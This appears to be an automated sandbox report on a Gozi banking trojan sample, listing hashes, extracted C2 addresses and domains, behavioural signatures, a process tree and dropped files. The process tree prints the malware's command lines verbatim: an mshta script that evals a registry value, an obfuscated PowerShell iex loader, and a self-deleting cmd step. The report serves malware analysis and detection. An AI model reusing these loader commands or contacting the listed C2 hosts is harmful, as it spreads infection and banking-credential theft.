Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-10-2023 12:18

General

  • Target

    client.exe

  • Size

    295KB

  • MD5

    ed017c0f334b6d10ac5aca77fe7f9a2a

  • SHA1

    de7a838cbf418f5c093e5bed00254c4c68b82fa7

  • SHA256

    9f710a0fc0cadbf3378c06ca4fefa2486bdf04646201f9efec7cd5a4c97634b4

  • SHA512

    e7210ef6cfb8b9cad8078b8bdc4331eba04c9b7bd87b1aadce8c84560035fe4725161dceaca03608f10f7e02de7120c6dbf345c0ac69c72d5613e85080f58316

  • SSDEEP

    3072:Az6N1tmvikka83g9IGkpt4fMlw5mlg9eidid74+VONrRrCS:bN1cvBka83g9PkUf55B++1r

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

185.247.184.139

62.72.33.155

incontroler.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

expirew.com

whofos.com

onlinepoints.online

onlinepoints.top

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3688
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:4804
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
          PID:3940
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of UnmapMainImage
          • Suspicious use of WriteProcessMemory
          PID:3140
          • C:\Users\Admin\AppData\Local\Temp\client.exe
            "C:\Users\Admin\AppData\Local\Temp\client.exe"
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2176
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2176 -s 568
              3⤵
              • Program crash
              PID:4244
          • C:\Windows\System32\mshta.exe
            "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Rnu3='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Rnu3).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\2B8EB0FA-8E4D-9577-F08F-A2992433F6DD\\\LinkActive'));if(!window.flag)close()</script>"
            2⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:2732
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name nibynxj -value gp; new-alias -name mmftlvf -value iex; mmftlvf ([System.Text.Encoding]::ASCII.GetString((nibynxj "HKCU:Software\AppDataLow\Software\Microsoft\2B8EB0FA-8E4D-9577-F08F-A2992433F6DD").PlayPlay))
              3⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3084
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\znxdwba1\znxdwba1.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3948
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFCF9.tmp" "c:\Users\Admin\AppData\Local\Temp\znxdwba1\CSCEB3CE4E826074772BA86D422BD5F2A5D.TMP"
                  5⤵
                    PID:2704
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dz4dqpsc\dz4dqpsc.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3320
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFDB4.tmp" "c:\Users\Admin\AppData\Local\Temp\dz4dqpsc\CSCB7AE3EE8FB3C4BFB80F18FCBEF2DFCE.TMP"
                    5⤵
                      PID:1020
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\client.exe"
                2⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:1720
                • C:\Windows\system32\PING.EXE
                  ping localhost -n 5
                  3⤵
                  • Runs ping.exe
                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                  PID:2300
              • C:\Windows\syswow64\cmd.exe
                "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                2⤵
                  PID:2060
              • C:\Windows\System32\RuntimeBroker.exe
                C:\Windows\System32\RuntimeBroker.exe -Embedding
                1⤵
                  PID:2836
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2176 -ip 2176
                  1⤵
                    PID:4412

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\RESFCF9.tmp

                    Filesize

                    1KB

                    MD5

                    f812c51024f1dc2fd8334de8b1a279f0

                    SHA1

                    f01302ec4e00df087958b20fab0fd20c277b58b9

                    SHA256

                    94ae8635e4bc53f443c70d6e74e136435381fe2e4a60cd5243afe3938ff40bf1

                    SHA512

                    fee9b59c3d38815addd8f77ab5cd1f0c775d8179b7abd298913cd8dd6a3aa4ff36e3d69c89890a08e6bed6ae98214516eaee33a83d9b54aea35a8904b33369de

                  • C:\Users\Admin\AppData\Local\Temp\RESFDB4.tmp

                    Filesize

                    1KB

                    MD5

                    0fc131d0cebda4cf4c90969e9e07c46f

                    SHA1

                    6d6fbed60f54c1addc7078a50cb1a869b9bea0c6

                    SHA256

                    9a6975edf5cef7f92be1803434fdafdc7e29c6e4562c7f17909199fee03819e7

                    SHA512

                    a002a36fcc12f1a996baa2109aec76aef6046dc732e3397411ba6c0288c439832bcfe1231e3ab9100d7543f5785f9356fee0dcca26018447fca26e279ac99c0c

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rp3ranip.44q.ps1

                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • C:\Users\Admin\AppData\Local\Temp\dz4dqpsc\dz4dqpsc.dll

                    Filesize

                    3KB

                    MD5

                    513c08402a1ddb5567952d0b91ca2fa6

                    SHA1

                    ec4385a6c21ee3af73735116531b3765670a9589

                    SHA256

                    dedf7d9b921c8177917a36c8f00059b5641f9c50c2e5e3f215f70aec5ea46cb6

                    SHA512

                    8139d1d2a8277a1fd7b27c5d5a7f5de5a4d0bcdd6653c22752732ad632150ab4b26f24780d35eb6e22d88c4055816f8d3951882f87d7f4a457f8a99724c5658f

                  • C:\Users\Admin\AppData\Local\Temp\znxdwba1\znxdwba1.dll

                    Filesize

                    3KB

                    MD5

                    f3b16d83b55e3ae8b92dd0305ebac3fd

                    SHA1

                    ccf214c5c95e7901945c4977e3cdb30fed1d078c

                    SHA256

                    6b57073b1f0593fdc704cc66e06c16f08505d27f5d3c08ab08d65969263073ef

                    SHA512

                    5f9bd421b986086117dc0c1a14e0eb78c5a735818cc160c4a6aa6fb7bf4b8685aefe1539877c07f17f792ba44a795230125fd34c3b7b9f84e66ac9d29ed0b362

                  • \??\c:\Users\Admin\AppData\Local\Temp\dz4dqpsc\CSCB7AE3EE8FB3C4BFB80F18FCBEF2DFCE.TMP

                    Filesize

                    652B

                    MD5

                    ac23d16b6fa50af35a2c9aa23e49bd5f

                    SHA1

                    ae74ad4b13b017cce6654fea05afdbe1aadcb1e6

                    SHA256

                    5b31e9f6d9aec5007b84a550a4da6f99ee8ac670f1dce41bd41bd415cba4f743

                    SHA512

                    d6a50fc80e9f9a168ed7c3edb7d56938a03fde8ac5bc9c4a92861c64c727b0227dc393d97bab87816ce6a3f298f460cce8404d57c6edbde116fd9607fe9a7f03

                  • \??\c:\Users\Admin\AppData\Local\Temp\dz4dqpsc\dz4dqpsc.0.cs

                    Filesize

                    406B

                    MD5

                    ca8887eacd573690830f71efaf282712

                    SHA1

                    0acd4f49fc8cf6372950792402ec3aeb68569ef8

                    SHA256

                    568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

                    SHA512

                    2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

                  • \??\c:\Users\Admin\AppData\Local\Temp\dz4dqpsc\dz4dqpsc.cmdline

                    Filesize

                    369B

                    MD5

                    d3016ac52042cb7b49f5c361283205be

                    SHA1

                    8df27beccc7431b7d7ed41eb643a651cb7fe9648

                    SHA256

                    3515ff94d76f36241ce3f1fbc9bbd55e36debf5c3484d06fd765e75cbb463181

                    SHA512

                    4d83dd630a1d5ff5b8d6d882684ac0059e309823c6b63e6e5135f31b5a7ee1e84bda5c6a7b6f5d28541513a64dc7b466825dffa34aa9b6c164816fd37857a734

                  • \??\c:\Users\Admin\AppData\Local\Temp\znxdwba1\CSCEB3CE4E826074772BA86D422BD5F2A5D.TMP

                    Filesize

                    652B

                    MD5

                    4bf03f542f1fbdaa14b3caf0fc0c4864

                    SHA1

                    f4ed08ae4a89adad8c4ac1c95919d67214600c2c

                    SHA256

                    1b2f0e198375afdd6e0acc10cbcd18746dd6129710e788b68b1292350cd55c29

                    SHA512

                    209ddcbcb3d819d96ab9b44c3a10415a36b3fa78eb926a829fde06e55f4f09d1327b64fea187b5ef62eb50370abac7de810bfdf2ccc0e13cd13ba35f293a6659

                  • \??\c:\Users\Admin\AppData\Local\Temp\znxdwba1\znxdwba1.0.cs

                    Filesize

                    405B

                    MD5

                    caed0b2e2cebaecd1db50994e0c15272

                    SHA1

                    5dfac9382598e0ad2e700de4f833de155c9c65fa

                    SHA256

                    21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

                    SHA512

                    86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

                  • \??\c:\Users\Admin\AppData\Local\Temp\znxdwba1\znxdwba1.cmdline

                    Filesize

                    369B

                    MD5

                    3e9284a0c4b5e475f3f3107802b14c01

                    SHA1

                    4f1a34fb13f4c447ea8941729c816887a9cf474d

                    SHA256

                    1fd276e2272df724ee29672199b3ee0b5e407b55612094bfdcd49492f3967b1d

                    SHA512

                    11afb13e26edce57e5ed99f8d88612256e1105a75be938ad3f8a085b3c53f754e5c9f6cfcf2a4ebb91ff303c9437aa55633cc505256105327080aa4649234edf

                  • memory/1720-106-0x000001956F3E0000-0x000001956F3E1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1720-103-0x000001956F4F0000-0x000001956F594000-memory.dmp

                    Filesize

                    656KB

                  • memory/1720-129-0x000001956F4F0000-0x000001956F594000-memory.dmp

                    Filesize

                    656KB

                  • memory/2060-121-0x0000000001070000-0x0000000001108000-memory.dmp

                    Filesize

                    608KB

                  • memory/2060-111-0x0000000000BF0000-0x0000000000BF1000-memory.dmp

                    Filesize

                    4KB

                  • memory/2060-109-0x0000000001070000-0x0000000001108000-memory.dmp

                    Filesize

                    608KB

                  • memory/2176-5-0x0000000004040000-0x000000000404D000-memory.dmp

                    Filesize

                    52KB

                  • memory/2176-9-0x0000000000400000-0x0000000002290000-memory.dmp

                    Filesize

                    30.6MB

                  • memory/2176-8-0x0000000002440000-0x000000000244B000-memory.dmp

                    Filesize

                    44KB

                  • memory/2176-1-0x00000000024A0000-0x00000000025A0000-memory.dmp

                    Filesize

                    1024KB

                  • memory/2176-4-0x00000000024A0000-0x00000000025A0000-memory.dmp

                    Filesize

                    1024KB

                  • memory/2176-3-0x0000000000400000-0x0000000002290000-memory.dmp

                    Filesize

                    30.6MB

                  • memory/2176-2-0x0000000002440000-0x000000000244B000-memory.dmp

                    Filesize

                    44KB

                  • memory/2176-123-0x0000000000400000-0x0000000002290000-memory.dmp

                    Filesize

                    30.6MB

                  • memory/2176-125-0x00007FFBA05D0000-0x00007FFBA07C5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/2300-118-0x0000029CBB320000-0x0000029CBB321000-memory.dmp

                    Filesize

                    4KB

                  • memory/2300-115-0x0000029CBB540000-0x0000029CBB5E4000-memory.dmp

                    Filesize

                    656KB

                  • memory/2300-128-0x0000029CBB540000-0x0000029CBB5E4000-memory.dmp

                    Filesize

                    656KB

                  • memory/2836-95-0x000002128FE30000-0x000002128FED4000-memory.dmp

                    Filesize

                    656KB

                  • memory/2836-127-0x000002128FE30000-0x000002128FED4000-memory.dmp

                    Filesize

                    656KB

                  • memory/2836-96-0x000002128FEE0000-0x000002128FEE1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3084-25-0x0000023B5FFE0000-0x0000023B60002000-memory.dmp

                    Filesize

                    136KB

                  • memory/3084-62-0x0000023B60360000-0x0000023B6039D000-memory.dmp

                    Filesize

                    244KB

                  • memory/3084-60-0x0000023B60350000-0x0000023B60358000-memory.dmp

                    Filesize

                    32KB

                  • memory/3084-75-0x00007FFB7FBD0000-0x00007FFB80691000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/3084-46-0x0000023B60330000-0x0000023B60338000-memory.dmp

                    Filesize

                    32KB

                  • memory/3084-76-0x0000023B60360000-0x0000023B6039D000-memory.dmp

                    Filesize

                    244KB

                  • memory/3084-30-0x00007FFB7FBD0000-0x00007FFB80691000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/3084-33-0x0000023B47910000-0x0000023B47920000-memory.dmp

                    Filesize

                    64KB

                  • memory/3084-31-0x0000023B47910000-0x0000023B47920000-memory.dmp

                    Filesize

                    64KB

                  • memory/3084-32-0x0000023B47910000-0x0000023B47920000-memory.dmp

                    Filesize

                    64KB

                  • memory/3140-65-0x00000000023E0000-0x00000000023E1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3140-64-0x0000000008400000-0x00000000084A4000-memory.dmp

                    Filesize

                    656KB

                  • memory/3140-104-0x0000000008400000-0x00000000084A4000-memory.dmp

                    Filesize

                    656KB

                  • memory/3688-110-0x000002D543D00000-0x000002D543DA4000-memory.dmp

                    Filesize

                    656KB

                  • memory/3688-78-0x000002D543D00000-0x000002D543DA4000-memory.dmp

                    Filesize

                    656KB

                  • memory/3688-79-0x000002D5437E0000-0x000002D5437E1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3940-116-0x00000245330F0000-0x0000024533194000-memory.dmp

                    Filesize

                    656KB

                  • memory/3940-85-0x00000245330B0000-0x00000245330B1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3940-84-0x00000245330F0000-0x0000024533194000-memory.dmp

                    Filesize

                    656KB

                  • memory/4804-91-0x0000025E6E380000-0x0000025E6E381000-memory.dmp

                    Filesize

                    4KB

                  • memory/4804-122-0x0000025E70580000-0x0000025E70624000-memory.dmp

                    Filesize

                    656KB

                  • memory/4804-90-0x0000025E70580000-0x0000025E70624000-memory.dmp

                    Filesize

                    656KB